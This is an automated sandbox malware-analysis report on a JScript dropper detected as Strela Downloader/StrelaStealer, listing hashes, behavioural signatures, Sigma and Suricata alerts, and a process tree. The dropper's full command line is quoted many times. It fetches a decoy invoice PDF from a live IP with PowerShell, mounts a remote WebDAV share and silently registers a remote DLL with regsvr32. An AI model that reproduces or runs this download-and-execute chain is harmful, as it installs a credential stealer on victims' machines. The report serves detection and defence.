Edit tour

Windows Analysis Report
1071116915318159767.js

Overview

General Information

Sample name:	1071116915318159767.js
Analysis ID:	1588163
MD5:	2a0c7534b38d3568fab81746a1408f8a
SHA1:	dad194e76a079c023a1a882b3945d3dc7c4fb8e4
SHA256:	46fad618713b93bd9701a63c54442eea0be4891652c256fd61645b47f4b22ef4
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2792 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1436 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6728 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6332 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7232 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1584,i,17465987910542294677,800333914084722569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5596 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6784 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7300 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2792	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6728, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6728, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", ProcessId: 2792, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6784, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49726

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", ProcessId: 2792, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6728, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5596, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6784, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7300, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5596, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6784, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll, ProcessId: 1436, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:07:18.642551+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49726	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:07:16.024234+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49725	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1071116915318159767.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1071116915318159767.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49726 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:07:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49726

Source: global traffic

TCP traffic: 192.168.2.5:49726 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49725 -> 193.143.1.205:80

Source: global traffic

